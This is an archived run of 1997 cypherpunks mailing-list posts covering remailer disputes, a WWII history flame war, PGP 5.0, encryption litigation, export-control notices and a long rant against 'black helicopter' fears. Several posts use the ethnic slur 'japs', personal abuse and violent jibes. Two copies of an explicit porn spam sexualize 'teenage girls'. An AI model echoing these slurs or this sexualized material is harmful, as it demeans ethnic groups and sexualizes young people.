> This is the person who wants to use BCC from an anonymous remailer  to
> get his opinion to the subscribers of the Critical Mass list.  The
> message is simple - if you help him out,you can kiss your remailer
> goodbye.

Perhaps Ralph could help the anonymous remailer 'cause' by providing
remailer operators with a list of the 'bad' people who should not
be allowed to use remailers to promote their 'wrong' views.
Maybe Mr. Hotmail could also provide a list of 'bad' words and
'bad' subjects that should be blocked, as well.

I suggest blocking Ralphie 'Kiss Your Remailer Goodbye' Hotmail.
Of course, I'm a Nazi fuck...

NaziFuckMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 29 Nov 1997 01:59:35 +0800
To: cypherpunks@toad.com
Subject: Re: Further costs of war (fwd)
In-Reply-To: <199711271414.IAA26461@einstein.ssz.com>
Message-ID: <2XZVge35w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate <ravage@ssz.com> writes:

> > Subject: Re: Further costs of war (fwd)
> > From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
> > Date: Wed, 26 Nov 97 23:55:33 EST
>
> > This has no crypto relevance.
>
> Actualy it does, it's just that the reason for this discussion has escaped
> your blipvert mentality. The reason this is relevant was the claim made by
> others that had the US *not* entered WWII then the situation would be
> significantly different than now. In particular it would be a more positive
> results. I draw exception to this and am willing to debate the point.

This STILL has no crypto relevance.  Moreover you can't read, don't know
any history, and resort to personal attacks when your ignorance is exposed.

> > The japs didn't join the axis out fo the blue. The US was picking on the Ja
> > back at the Washington conference in 1921/2,
>
> It's interesting that as a direct results of this conference the Japanese
> took the time to put down their plans to secure (ie take over) the western
> Pacific. It relied on their typical "Great All-out Battle" strategy. An
> important point in this strategy was luring the US fleet into Japanese
> waters and defeating it.

Not true. Japs had been trying to expand ever since the meiji revolution:
grabbed hokkaido from russia in 1875 (without a fight), taiwan et al from
china in 1895, more land from russia in 1905, annexed Korea in 1910, attacked
germany and took most of german possessions in the pacitic uring ww1. Their
strategy did not change in 1922.

The only thing that happened at the washington conference of 1921/2 was that
the US turned around and instead of praising the japs as their ww1 ally, it
suddenly started demonizing the japs, just like Noriega or Saddam Hussein
suddenly went from US allies to Ultimate Evil. The US also forced GB to
renounce their 20-year-old alliance with the japs.

It would be reasonable for the japs to revise their strategy to be more
anti-US after 1922, but I actually see no eviedence of this.

> > he bulding up the navy, building new bases on Hawaii, Guam, Midway, Samoa,
> > etc, (in violation of the Washington conference), grabbing small pacific
> > islands that no one claimed before (jervis, Howland, Phoebe, Palmira).
>
> Actualy most of these islands were originaly Dutch, German, or Spanish.
> For example, the Philipines were Spanish.

You can't read, can you? A typical product of US education system.

1. The US specifically promised in 1922 not to build naval bases on Guam,
Wake, Phillippines, etc. FDR renounced that promise and built huge bases and a
huge navy, while whining about japs violating the various arms limitation
treaties (which the japs did only after the US violated theirs).

2. Palmira et al were no-man's-island, not claimed by anyone. FDR sweeped up
the unclaimed islands as part of his stated anti-jap strategy.

3. The closest Dutch poseesssions were Indonesia - totally irrelevant.

4. Philippines used to belong to Spain; the locals pretty much overthrew
the Spanish with little US help; the US then waged a bloody war suppressing
the locals and turning Philippines into its colony.

The uniformed shit that rots at the arlington national cemetary are the bloody
murderers who massacred hundreds of unarmed phillippine civilians to provide
the us with another colony in the pacific. I virtually piss on their graves;
let Stick Willy sell all the burial sites he wants there.

> Vulis, this hasn't dawned on you yet but none the less, you are actualy
> agreeing with my position that it isn't possible for the US to have kept
> out of the war. The other participants simply didn't have the resources or
> the system to organize them with otherwise.

Your position is with your head up your ass, since you clearly don't know
what you're talking about. FDR was pulling stunts designed to pull the US
into the war in Europe, like seizing German and italian ships in US ports,
but he succeeded in proviking the japs faster. The US would have stayed out
of the war in Europe much longer under a republican administration, and
probably never would have had a war with Japan.

Since the US contribution to the European war effort was about the same in
1940/41 and 1942/44 (up until the invasion of Normandy), it would not have
changed the outcome of the war, but domestically the US would have been
less of a polica state than it became under FDR.

> > > period. Can't say that I've ever seen this issue in anything I've read.
> >
> > According to my books, the US stopped all Jap immigration into US and its
> > possession (i.e. Hawaii, Philippines, ec) as of May 1, 1925.
>
> Which books Vulis, books you have access to or books that you wrote? I made
> a request for more specificity. Which books in particular are you refering
> to?

References he wants. :-) Very good: _Spravochnik Soedinennyje Shtaty Ameriki_
Moscow: Ogiz, 1946, p. 284:

"Poskol'ku odnoj iz form japonskoj `ekspansii javljalas' usilennaja
immigratzija japontzev v SSHA i ikh kolonial'nyje vladenija - Gavaji,
Filippiny i dr., pravitel'stvo SSHA stalo prinimat' mery k ogranicheniju
`toj immigratzii, a 1/V 1925 g. vovse zapretilo ejo."

(Oops! You can't read languages other than English, can you? :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 29 Nov 1997 02:17:49 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Further costs of war (fwd)
In-Reply-To: <2XZVge35w165w@bwalk.dm.com>
Message-ID: <347F06BC.10BC@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Kill 'em all, and let Dimitri sort 'em out.

TM





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 29 Nov 1997 02:17:04 +0800
To: cypherpunks@toad.com
Subject: Re: [RePol] Denizen
In-Reply-To: <347EF808.7770@dev.null>
Message-ID: <1u4Vge36w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



TruthMonger <tm@dev.null> writes:

> Ralph Hotmail wrote:
> >
> > In a moment of boredom, I took the opportunity to check into "Denizen".
> > I also read his posts under a number of names to the critical mass
> > mailing list and their replies.
>
> > In saner moments, Beckjord runs the UFO and Bigfoot Museum.
> >
> > This is the person who wants to use BCC from an anonymous remailer  to
> > get his opinion to the subscribers of the Critical Mass list.  The
> > message is simple - if you help him out,you can kiss your remailer
> > goodbye.
>
> Perhaps Ralph could help the anonymous remailer 'cause' by providing
> remailer operators with a list of the 'bad' people who should not
> be allowed to use remailers to promote their 'wrong' views.
> Maybe Mr. Hotmail could also provide a list of 'bad' words and
> 'bad' subjects that should be blocked, as well.
>
> I suggest blocking Ralphie 'Kiss Your Remailer Goodbye' Hotmail.
> Of course, I'm a Nazi fuck...
>
> NaziFuckMonger


Ralphie should get together with David Smith, the operator of the bureau42
remailer, who filters out whatever contents he doesn't like. Anything
coming out of bureau42 remailer is personally approved by David Smith
who bears full civil and criminal responsibility for the contents he approves.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Sat, 29 Nov 1997 05:02:29 +0800
To: cypherpunks@cyberpass.net
Subject: Continuing coverage of Internet gaming
Message-ID: <v03102800b0a34f43edb5@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



Will Roulette Wheel Land on 'Ban' or 'Tax'?
http://www.wired.com/news/news/politics/story/8479.html

Net Gaming Operator Wins Court Round
http://www.wired.com/news/news/politics/story/8807.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: info@infowatch.net (Info Desk)
Date: Fri, 28 Nov 1997 13:36:51 +0800
To: hn@heritage.com
Subject: Advertisement: Web Site Hosting
Message-ID: <19971127171408397.AAC161@infowatch.net>
MIME-Version: 1.0
Content-Type: text/plain




------------------------------------------------------------------------------------------------
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 29 Nov 1997 03:58:28 +0800
To: cypherpunks@toad.com
Subject: Junger v. Daley - USA Brief
Message-ID: <1.5.4.32.19971128194526.00709888@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Thanks to Peter Junger we offer the USA's second 
cross-motion for summary judgment of November 18:

   http://jya.com/pdj5.htm  (112K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Sat, 29 Nov 1997 05:59:11 +0800
To: cypherpunks@cyberpass.net
Subject: Re: --- STRONG ADULT CONTENT ---
In-Reply-To: <199711282019.PAA07426@verses.xxxjournal.net>
Message-ID: <199711282112.PAA13434@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



Monique writes:

> Our new technology allows you to see our girls live and interact
> with them right in your NETSCAPE 2.2+, INTERNET EXPLORER 3.02, and AOL FOR
> WINDOWS 95 BROWSERS......

One amusing note.  To buy time on this "service," one is presented with a
form which requires one to fill in name, phone number, address, credit
card number, and other personal information.  Hitting "Submit"  sends this
form in cleartext to their web server.

On the bottom of the form is printed... 

"All Live Sex Sales are processed using CyberCash Transaction Encryption" 

While you're counting "Monique"s pussy hairs, the owner of the upstream
router will be doing his Christmas shopping on your Mastercard. :)

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jugs <jugs@verses.xxxjournal.net>
Date: Sat, 29 Nov 1997 04:21:29 +0800
To: cypherpunks@Algebra.COM
Subject: --- STRONG ADULT CONTENT ---
Message-ID: <199711282019.PAA07426@verses.xxxjournal.net>
MIME-Version: 1.0
Content-Type: text/plain



Hello From Monique, If you are under 18 don't go any further.....

You are receiving this email because your name has been submitted to a
adult maillist..If you would like to be removed please follow the
instructions below.

http://www.DoMeLive.com

LIVE LIVE LIVE....Florida Beach Babes perform for you live right in your
browser. That's right live horny teenage girls, who will do ANYTHING you
want. Our girls are all under 20 and are ready to please you in any way
you want. You tell them what to do and they do it.

Our new technology allows you to see our girls live and interact
with them right in your NETSCAPE 2.2+, INTERNET EXPLORER 3.02, and AOL FOR
WINDOWS 95 BROWSERS......

Your not going to believe your eyes, our picture is so large and so clear
you'll be able to count the hairs on our pussies...that's if we had any
hair down there....

For a limited time only, 7 minutes FREE to each new customer

Don't cyber blind when you can DO ME LIVE..We'll do anything to keep you
coming back....

http://www.DoMeLive.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jugs <jugs@verses.xxxjournal.net>
Date: Sat, 29 Nov 1997 04:34:20 +0800
To: cypherpunks@toad.com
Subject: --- STRONG ADULT CONTENT ---
Message-ID: <199711282019.PAA07448@verses.xxxjournal.net>
MIME-Version: 1.0
Content-Type: text/plain



Hello From Monique, If you are under 18 don't go any further.....

You are receiving this email because your name has been submitted to a
adult maillist..If you would like to be removed please follow the
instructions below.

http://www.DoMeLive.com

LIVE LIVE LIVE....Florida Beach Babes perform for you live right in your
browser. That's right live horny teenage girls, who will do ANYTHING you
want. Our girls are all under 20 and are ready to please you in any way
you want. You tell them what to do and they do it.

Our new technology allows you to see our girls live and interact
with them right in your NETSCAPE 2.2+, INTERNET EXPLORER 3.02, and AOL FOR
WINDOWS 95 BROWSERS......

Your not going to believe your eyes, our picture is so large and so clear
you'll be able to count the hairs on our pussies...that's if we had any
hair down there....

For a limited time only, 7 minutes FREE to each new customer

Don't cyber blind when you can DO ME LIVE..We'll do anything to keep you
coming back....

http://www.DoMeLive.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sat, 29 Nov 1997 05:37:06 +0800
To: lutz@belenus.iks-jena.de (Lutz Donnerhacke)
Subject: Re: PGP 5.0 ConsensuS?? -- is it usable?
In-Reply-To: <slrn67tug3.an.lutz@belenus.iks-jena.de>
Message-ID: <199711282127.QAA27009@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <slrn67tug3.an.lutz@belenus.iks-jena.de>, on 11/28/97 
   at 05:06 PM, lutz@belenus.iks-jena.de (Lutz Donnerhacke) said:

>* Anonymous Remailer wrote:
>>Do you think that it is a good idea to migrate from pgp 2.6.3 to
>>pgp 5.0 now?

>No.

Care to justify that?

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNH826o9Co1n+aLhhAQJt6QP/YqdAhhKkUQg3O3mQ75ppSGGQV+LV21i3
BP0BbTu9dNtvxhlfgVP6qAQnGew+xINN+LfWQNceXgwjGcuHuMJl/NG6pQzYrQLE
h5y7pA6A5e4IRAqX5XxpvPFkiD4mS0CstbdeKetZBOs4HmOHMR4EYpGUpxY2pX7C
Mc1ckCEoIgs=
=3PD1
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 29 Nov 1997 06:01:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Br'er Tim and the Bug Hole
In-Reply-To: </ExNHxdX+kw2EXoXkBNHZw==@bureau42.ml.org>
Message-ID: <v04002718b0a47f8735aa@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:10 am -0500 on 11/21/97, bureau42 Anonymous Remailer emetted (see?
wasn't *that* easier than what you used?):


> Aw, bullshit, Bob! You were wrong when you started this fuckfest
> and you're digging yourself deeper and deeper with every post.
> There was a time when I thought you had a brain and a modicum of
> common sense, but you've thoroughly disabused me of that fantasy.

Don't get your apparently fantastically-abused panties in a bunch.

Frankly, I don't give a squalling, um, fuck, what you, or anyone else,
thinks about me. In fact, given the heaping helping of offal you've offered
below, the worse you think about me, the better, I guess I'd say.

I'll write what I want, when I want, and post it where I want to. That's
what your killfile is for, bunky. If you don't like what I say so much, use
it.

> I once visited your website and thought, "This guy is cool!"
> Geez, I'm embarrassed to admit that now.

Good. Stay that way. I really don't give a damn. But, be careful:
Embarrased, red faces like yours make great helicopter targets, I'm told.
:-). Even in the dark...

> You've taken Tim's comments out of context and done yeoman work
> for the enemy.

No, I haven't. The "enemy"? So, it's a "war", huh? Sounds like you need to
go to work, yourself, (for a living?) and find out how reality actually
functions a while, before you go declaring "war" on the "enemy" at the drop
of a hat.


Folks, the "war" ain't here, okay? It ain't gonna be here anytime soon,
either. Anyone who wants to go out and start it, as Tim has seeming
delusions of, is really stupid, or worse, nuts.


> If (or when) they ever find an excuse to bother
> him, they won't be showing _his_ posts to the jury -- they'll
> be showing _yours_, you clueless fuckwit.

Nope. What they'll probably do is go pester him about something clueless,
something trivial and probably unrelated, and he'll show up at the door,
expecting MIB (Men in Balaclavas), and start a shootout. That's the
accidental version, anyway.

Of course, if Tim stays holed up, playing Old Man of the Mountain, and
nothing happens because nobody's listening to him anymore, maybe someday
he'll go out and *make* something happen, of course. Nonetheless, his
writing here won't do anything but be an excuse for someone to go harrass
him, probably provoking something accidental, particularly if he's waiting
for them with loaded weapons. See above.

> This is the age of "social convictions," in case you haven't
> noticed because you've been living in an e-cave. They don't
> prove cases anymore; they show that you're a "bad actor."
> It's all done with PR, whether totally in the press or partly
> in a courtroom. The first piece of paper the feds send out
> when they attack someone is a press release. The victim often
> first learns he's in trouble when the reporters call.

Which, of course, proves my earlier point which started this very thread.
Tim appears to be deliberately provoking this kind of crap, whatever his
purposes.

"Please, B'rer Fox, don't throw me into that briar patch!". I said that,
remember?

You'll also remember that I called it utter bullshit then. To paraphrase
myself. :-).


It's the day after Thanksgiving, folks. Do you know where *your* black
helicopters are? I thought so...

Give me a break...


There's one line in the latest Jim Bell continuance which says it all. It's
the Judge's clear statement that he's clueless about all this crypto stuff,
and that he's going away to think about it a bit. Now, *that* seems to me
to be an open invitation to someone, if legally possible, to go and
straighten him out on the subject of cryptography, as a friend of the
court, or something. A lawyer who knows about crypto could probably just go
do this, and make all this Guilt-by-Cryptography crap go away. And, if
there *had* been someone there from the beginning, we wouldn't be having
all this built up FUD-potential when they send Bell up the river for
whatever they can think of, just because he's had the "brilliance" to
combine Tim's quite old idea of cryptoanarchic assasination markets with
the stuff the Idea Futures folks are doing for fun. Cheez. Whadda
brainstorm that musta been...

Now, I may be whistling past the graveyard, here, but.... naaawww,
forgadaboudit, I'm not an idiot, and the Apaco-FUD around here isn't going
to get to *me* either, so I'll go out on a limb, here, with a prediction:

--->>>Those "black helicopters" are never going to land, boys and girls.
Especially as far as the Bell case is concerned. Ever. <<<---


Oddly enough, I expect that Bell *is* singing, ironically, like a canary.
Hence the sealed indictments, or whatever. Given all the goodies they found
him playing with besides AP, they were probably listening to everything he
said, hanging on his every word. Most attention he ever got in his life, I
bet. Until, of course, they figured out that his "conspiracy" was just Jim
Bell, that all the "co-conspiritors" he's "fingering" never wanted anything
to do with him.

Including Tim, who's gone on record here, many times, as saying what a
one-track, waste-of-time, loon Bell was.

Until lately, anyway. Now Bell's some kind of hero, or something. Go
figure. Maybe Tim's missing all the attention Bell's getting. Or something.


> Maybe you're too young, child.

Spoken like a child, yourself. Child, grow thyself?

> The world is not figuring things
> out fast enough or on a large enough scale to offset the
> accelerating advance of the state. Tim has been around long
> enough to have figured out that the statists have pissed away
> his entire lifetime making him wait for things to get "figured
> out." You have no respect for your elders, who have gotten
> bored over more things than you have yet learned. You should
> be spanked and made to sit in the corner until you can behave.

Bink. (The diminuative of "bunk", of course. :-))

Look. This kind of "I Have Seen the Golden Age of America, and it's Over,
Son" crap is just that. Crap.

The world, over all, is a *much* better place than it was, 100, 50, or even
10 years ago. It will continue to get better. Science kind of does that, if
you haven't noticed. If something like the state increases its control so
much that nobody feels free anymore, then eventually people will get fed up
and deal with it. Usually with technology, like cryptography, and with the
market, and I certainly count emmigration as a market function. Technology
and the market killed communism. And, frankly, I look at politics as a
trailing market indicator, cementing what the market and technology  have
already done.

So, when the political situation forgets to pay attention to market and
technological reality, you get a military solution, with an actual
revolution, like we had in this country, twice, if you count the Civil War.
Though, as I've said before, the colonists in America were already free (in
the market and technology sense) and didn't know it, and the Confederacy
wasn't free (in the same sense) and thought they were. In both cases,
reality, i.e., technology and the market, wasn't optional.


So, I think the economic and technological incompetance of the very idea of
communism, if not hierarchical vertical integration itself, is what is
causing most of what we call "revolutions" these days. And, maybe, the
collapse of those socialist, or the vertically integrated and centralized
bureaucratic, components of the American system will cause the kinds of
separatist problems seen in the other other monolithic megastates like
Russia and China as well. But, frankly, I just don't think so. There is too
much of a habit of freedom in America still, even with all the state's
attempts of social control out there -- which, I think, most people ignore,
or better, can't afford to pay attention to -- for that kind of crap to
happen. So, here in the heart of the Socialist States of America,
technology is making, or keeping, people free, and they just don't know it,
yet. Or probably care about it, for that matter.

I also think that out political leaders are just figuring that out. The NSA
only makes halfhearted attempts to control cryptography anymore, for
instance. Robert Morris asks, wryly, "How much do you trust your
government?" when asked about key escrow. The state department has gotten
out of the export control business, fobbing it off onto the Commerce
Department, who's only got the FBI to listen to. The FBI is apoplectic, but
frankly, they'll figure out that they're pissing in the wind just like NSA
and State were, hopefully before anyone gets hurt.

After the FBI, who's left, right?


> Tell that to the Athenians and hundreds if not thousands of
> groups since who have been surprised when their worlds
> collapsed. Tell that to the Austrians and Germans of the
> 1920's. Tell that to the piles of bones in Cambodia.

Hoooo... Oh, boy. Yet Another History Lesson. I'm gonna *love* this...


Well, let's see, shall we? (Monty and Jim Choate can check me here, except
that I'm not sure "American Aurora" goes back that far. Oh, well, there's
always "History Your Mother Never Told You, I guess. :-))

The Athenian government, the small minority of the population who had any
now-romantic notion of "democracy" at all (when you factor in "barbarians",
slaves, and women), had a tidy little empire, paid for with other people's
money (the Delian league). But, it only lasted a little while after the
Persian war, when the money ran out, most of it being spent on fun toys
like rebuilding the Acropolis. Then, all the other Greek city states hired
the Spartans to kick Athenian Butt after the Athenians were a little too
aggressive with a tax delinquent state, killing all the men in said state,
and sending the women and children into slavery. Is that America? Maybe,
but probably not. And, so, your point is?

The Austrian and German governments, by starting a war they couldn't win,
were made to pay war reparations they couldn't afford, which they tried to
pay for by printing money they didn't have, instead of letting their
economies alone to solve the problem by themselves. Then their economies
collapsed, and political radicals with, of course, much less economic
experience, and considerably less diplomatic experience :-), took over the
government and went to war on all their neighbors. Is that America? Maybe,
but probably not. And, so, your point is?

The Cambodians were doing just fine until a superpower conflict erupted
next door, dragging them, unfortunately, onto the side of the losing one
(Us), causing allies of the winning superpower (Them) to overthrow a
moderately stable political and social system and replace it with one
having even less of an understanding of economics, much less diplomatic
experience, than the one instituted by the people who took over Germany and
Austria 40 years before. They then, vaguely reminiscent of Germany and
Austria, proceeded to go to war on their own population, especially those
people with economic, and probably diplomatic, experience. Is that America?
Maybe :-), but probably not. And, so, your point is?

Of course, we could then turn around and look at Rome, say, which
functioned for several hundred years off and on, and, technically, didn't
go away until the fall of Constantinople in the 15th century. Or, say,
Britain, which has still been kicking around for almost a thousand years,
empire or not, but, hey, who's counting, hmmm? Anyway, are those two
America? Maybe, but probably not. And, so, my point is?

Well, lost, actually. Just like yours was. :-).


> You
> suffer from the subjectivity of youth.

I'm honored you think so. I'm almost 40 now. A veritable old fart, given
the probable mean age of this list. However, Tim (Leary, that is) *did* say
that adulthood is terminal, and I endeavor to follow that dictum, while
ignoring much of his other silliness. (Hmmm, sounds familiar...) So, maybe,
I'm just shovelling age against the tide, as it were, and should grow up.
Certainly my peers tell me so. :-)

Perhaps, however, you're projecting a bit, yourself? Naaaaw...


> The times into
> which we are headed have every promise of being the very most
> "interesting" in human history.

More apacolyptic claptrap. I have an idea. Go prove how "interesting" they
are. Tell me what happened when you get back. Don't let the door hit you on
the way out...

> I for one won't feel a bit
> compensated by your future whines that you "wuz wrong!"

That's easy to fix. Put me in your killfile. Frankly, I don't think *youz*
ever gonna be right, myself...

> If you had two brain cells to rub together you would have
> taken your lumps in Tim's first brushoff and shut up.

<pffft> *Feel* your anger Luke Skywalker...<pfft>

> He's
> got a right to his position and you haven't got shit.

One double negative, excretory or not, doesn't make a right, right? (bzzzt!
Nope, two "rights" don't make a wrong either. :-))

> What
> you will have is a place in someone's black book if it turns
> out that your characterizations of Tim's posts ever turn out
> to be fuel for the enemy's meatgrinder.

Ah. Someone hiding behind a remailer threatens someone whose address is at
the bottom of his every post... Mark away, little boy, mark away. You know
where to find me when the revolution comes, Madame LaFarge...

Of course, we know all those who talk in gloomy terms about the impending
violent revolution, um, haven't got shit, themselves. Just like the posers
who say "Lock and Load" all the time, or the Knights Who Say "Nee!". Or
something.

> Ignorance, even
> stupidity, are pardonable if not too tightly connected to
> the motor mouth. You should consider that the damage you may
> do could far exceed the value of whatever pride it is that
> impels you to continue to articulate the government's ideal
> (and fatuous) arguments in this matter.

Ah. "Fatuous." A marvellous word to use, isn't it, Mr. um, Motor Mouth? Did
you look it up for the occasion? Congratulations on your choice. You can
use it in a sentence, too. How nice.


Yup, that's me. Government Stooge. If you don't believe me, ask Tim. He's
got the pictures. And, I'm  the official Cypherpunk Apostate of the
Month... (*Tell* our double winner what he's won, Don Pardo...)


> > And, Monty, here's another fact: the world isn't going to
> > end on Thanksgiving Day, much less at the beginning of the
> > millennium.
>
> Only a complete fool would be that sure.

Prove to you the revolution *isn't* coming? Have *you* read your informal
fallacies today, Mr. Mouth? I thought not...

And, of course, only a complete fool would be "sure" that the revolution,
along with black helicopters and four part harmony, is going to happen on
Thanksgiving. Woops. It's the day *after* Thanksgiving, isn't it?

Um... Mr. Mouth? ...Know where I can get a deal on slightly
out-of-the-money futures on The American Revolution 3.0, expiration date
11/27/97? My broker in Corrolitos is not answering the phone. Maybe the
helicopters got him...


> Really, if you just stopped and thought about it a moment,
> there are only a very few regular posters to the list.

Actually, we're all tenticles of the same person. Tee hee. :-)


> All
> of them could be hauled off without making a ripple. We are
> meanwhile playing war footsie with Iraq after having spent
> the better part of five years doing Clinton's best to
> disable, demoralize, cripple, and mismanage the military.
> We're a few press conferences away from being in way over
> our heads with a left-wing android in charge. Is this your
> picture of stable times and a secure Constitution? Do you
> seriously doubt that there are people in the Administration,
> at least in the bureaucracy, who wouldn't like to be able to
> make a few gratuitous PR linkages in a national emergency
> and have an excuse to get rid of the C-P annoyance once and
> for all? Did you miss entirely the personal destruction
> wreaked on Jim Bell _without_ a national emergency? Would you
> be utterly shocked to learn some day soon that you, too, have
> ordered odd chemicals from someplace or other over the last
> few years? Hey! It could _happen_!

Right. And monkeys could fly out my butt. (Hey, it *could* happen... Prove
to me that it can't. :-))

Meanwhile your Thanksgiving turkey's getting cold, bunky. I bet you can go
away from your reinforced door for short periods without even taking your
Mossberg with you. I mean, I admire your perserverance, and all, but your
clothes are starting to stink...


> No, Grasshopper, it is just a _little_ paranoid to suggest
> that it might be a possibility. You're putting words in
> Tim's mouth again.

Actually I'm not. He's been ranting for more than 6 weeks now about how the
FBI/BATF/ETC is going to come down our chimneys, Real Soon Now, Maybe This
Thanksgiving.

I finally got sick of it. Called a spade a spade, and all that.

> You can probably assume that if Tim
> were really convinced that that were going to happen, they
> would find only an inflatable Tim sitting in front of a
> 'puter relaying email through an indirect dial link. Or
> something like that.

Pardon me while I blow eggnog out my nose. :-).

> He's just concerned. I'm concerned.
> Anyone with a brain above room temperature is concerned.
> Ugly things are in the wind.

Right. The Eeevilll One has decided that the Time To Strike is Upon Us, and
so forth. And VALIS is sending thought-rays to your brain, too, I suppose.
Don't forget to sleep with in your aluminum foil nightcap tonight.

> You are the one making such characterizations (as if any of
> us needed that). Had I the time and the interest, I would
> check what archives there are to see if you did the same
> favor for Jim Bell.

Had you the intellegence, much less the time and interest, you would notice
that I never bothered with Jim Bell much, except to put him in my killfile
after the 6th or 7th AP iteration around here. It wasn't until he got
popped for being a loon in various other arenas, and the old Alphabet Gang
decided that Crypto Made Him Do It, that I got interested in him at all,
hence my "Canarypunk in a Coalmine" post. Something you'd find in the
archives. If you had time and interest. And intellegence.

Frankly, it's beginning to look Bell's *still* a loon, and, since he's got
a cryptography connection, it makes him dangerous to anyone who uses
cryptography, whether in fact Bell is dangerous or not.


> Fuckwit!

At least I'm thinking about *something*, you, um, witless fuck.

Write *that* in your little black book, hmmm?


> Well, there's more, but your time's up. See you in the camps.

Funny farm, more like it.


> We Jurgar Din

You Making Me Laugh. I blow eggnog out my nose. Chop Chop.

(With sincere apologies to Mr. Ito: I'm sorry, but I just couldn't resist
something *that* easy. :-))



Cheers,
Bob Hettinga





-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@belenus.iks-jena.de (Lutz Donnerhacke)
Date: Sat, 29 Nov 1997 01:17:03 +0800
To: cypherpunks@Algebra.COM
Subject: Re: PGP 5.0 ConsensuS?? -- is it usable?
In-Reply-To: <19971125.060408.8463.10.goddesshera@juno.com>
Message-ID: <slrn67tug3.an.lutz@belenus.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* Anonymous Remailer wrote:
>Do you think that it is a good idea to migrate from pgp 2.6.3 to
>pgp 5.0 now?

No.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 29 Nov 1997 06:17:57 +0800
To: cypherpunks@toad.com
Subject: BXA Meet in DC
Message-ID: <1.5.4.32.19971128220859.0070ca88@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Should anyone attend the BXA meeting in DC referenced below, 
we'd be grateful for a report, handouts and minutes, especially 
on encryption regulation and implementation of the Wassenaar 
Arrangement -- whose issuance is now overdue.

A "Wassenaar Plenary" is scheduled for sometime in December 
as well, with a "Wassenaar list review" in May 1998, according 
to minutes of the October 21 meeting of the Information Systems 
Technical Advisory Committee:

   http://jya.com/istac102197.htm

----------

Bureau of Export Administration
 
Regulations and Procedures Technical Advisory Committee; Notice 
of Partially Closed Meeting

    A meeting of the Regulations and Procedures Technical Advisory 
Committee will be held December 9, 1997, 9:00 a.m., in the Herbert C. 
Hoover Building, Room 3884, 14th Street between Constitution and 
Pennsylvania Avenues, N.W., Washington, D.C. The Committee advises the 
Office of the Assistant Secretary for Export Administration on 
implementation of the Export Administration Regulations (EAR) and 
provides for continuing review to update the EAR as needed.

Agenda

Open Session

    1. Opening remarks by the Chairperson.
    2. Presentation of papers or comments by the public.
    3. Update on the encryption regulation.
    4. Update on the Wassenaar Arrangement implementation regulation.
    5. Discussion on the ``deemed export'' issue.
    6. Discussion on the Enhanced Proliferation Control Initiative and 
continued publication of Entities of Concern.
    7. Update on the Automated Export System.
    8. Discussion on efforts to conform the Foreign Trade Statistics 
Regulations and the Export Administration Regulations on export 
clearance requirements.

Closed Session

    9. Discussion of matters properly classified under Executive Order 
12958, dealing with the U.S. export control program and strategic 
criteria related thereto.

    The General Session of the meeting will be open to the public and a 
limited number of seats will be available. To the extent that time 
permits, members of the public may present oral statements to the 
Committee. Written statements may be submitted at any time before or 
after the meeting. However, to facilitate the distribution of public 
presentation materials to the Committee members, the Committee suggests 
that presenters forward the public presentation materials two weeks 
prior to the meeting date to the following address: Ms. Lee Ann 
